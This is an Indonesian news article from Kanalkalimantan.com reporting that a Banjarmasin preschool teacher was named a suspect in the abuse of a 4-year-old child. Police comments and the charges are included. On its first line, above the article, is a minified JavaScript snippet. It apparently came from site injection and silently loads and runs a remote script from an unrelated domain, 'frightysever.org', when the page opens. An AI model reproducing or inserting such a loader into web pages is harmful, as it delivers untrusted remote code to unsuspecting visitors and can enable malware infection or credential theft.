(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Oknum guru salah satu lembaga Pendidikan Anak Usia Dini (PAUD) di Banjarmasin yang diduga melakukan penganiayaan terhadap anak berusia 4 tahun akhirnya ditetapkan sebagai tersangka.
Penetapan tersangka dilakukan setelah penyidik dari Unit Perlindungan Perempuan dan Anak (PPA) Polda Kalsel mendapatkan dua alat bukti permulaan yang cukup dan telah memenuhi unsur tindak pidana.
Direktur Ditreskrimum Polda Kalsel Kombes Pol Erick Frendriz SIK MSi melalui Kasubdit 4 Unit 1 PPA AKBP Mahrida SH MH MKn mengatakan, satu orang ditetapkan sebagai tersangka berinisial D yang berprofesi sebagai guru di PAUD tempat terjadinya kekerasan.
“Sudah masuk tahap penetapan tersangka, penetapan kami laksanakan hari Senin 7 Agustus 2023 lalu”, kata AKBP Mahrida, Rabu (9/8/2023) siang.
Baca juga: Penting! Pengelolaan Data Penanganan Pelanggaran Pemilu, Ini Kata Komisioner Bawaslu Kalsel
Penetapan tersangka tersebut dilakukan pihaknya setelah melalui proses cukup panjang, diantaranya telah melakukan pemeriksaan kepada tujuh saksi termasuk memeriksa tersangka D.
Meskipun sudah resmi ditetapkan sebagai tersangka, penyidik tidak melakukan penahanan terhadap tersangka D karena ancaman hukuman di bawah 5 tahun penjara.
“Tersangka tidak ditahan, cuma kami percepat tahap satunya,” ujar AKBP Mahrida.
Kasubdit 4 Unit 1 PPA mengatakan tersangka D dikenakan pasal 76 huruf c Undang-Undang Nomor 35 tahun 2014 tentang perlindungan anak dengan ancaman hukuman 3 tahun 6 bulan penjara.
Selain itu, tersangka dikatakan juga dikenakan pasal 360 KUHPidana tentang kekerasan menyebabkan korban luka-luka berat.
Baca juga: Cek Mutu Air Baku, PAM Bandarmasih Dapati Kadar Garam Tinggi
AKBP Mahrida mengatakan, polisi sejak awal selalu berkomitmen untuk mengawal kasus kekerasan anak ini secara maksimal.
Ia juga menjelaskan penetapan tersangka D telah melalui sejumlah prosedur yang ditetapkan oleh Undang-Undang tentang kekerasan terhadap anak.
“Ini kasus yang tercepat yang kami lakukan untuk penanganannya, makanya dapat apresiasi dari UPTD PPA karena standarnya SOP psikiaterikum itu tiga bulan, bantuan dari RS Sambang Lihum sangat luar biasa membantu prosesnya,” pungkasnya.
Untuk diketahui, kasus kekerasan anak usia 4 tahun di Banjarmasin yang menyebabkan patah tulang bahu sebelumnya sempat viral setelah ibu korban bernama Rizka memposting di akun media sosialnya.
Baca juga: Atasi Dewa United, Barito Putera Amankan Poin Penuh di Kandang
Kasus tersebut dilaporkan Rizka pada 26 Mei 2023 ke Polda Kalsel setelah mengetahui kejadian yang sebenarnya dari seorang saksi yang melihat kekerasan yang dialami anaknya dan memiliki hasil rontgen RS Suaka Insan Banjarmasin.
Rizka juga menjelaskan awalnya pihak PAUD tidak menceritakan kejadian sebenarnya dan hanya mengatakan jika anaknya terjatuh. Ia baru mengetahui kejadian sebenarnya setelah tiga bulan kejadian. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi melantik 50… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pipa distribusi air bersih milik Perusahaan Air Minum (PAM) Bandarmasih di wilayah… Read More
Kadishub Banjarbaru: Setelah Kajian Selesai, Berikutnya Perizinan BPJN dan BPTD Read More
KANALKALIMANTAN.COM, SOLO - Ketua Dewan Kerajinan Nasional Daerah (Dekranasda) Hulu Sungai Utara (HSU) Gusti Elvira… Read More
This website uses cookies.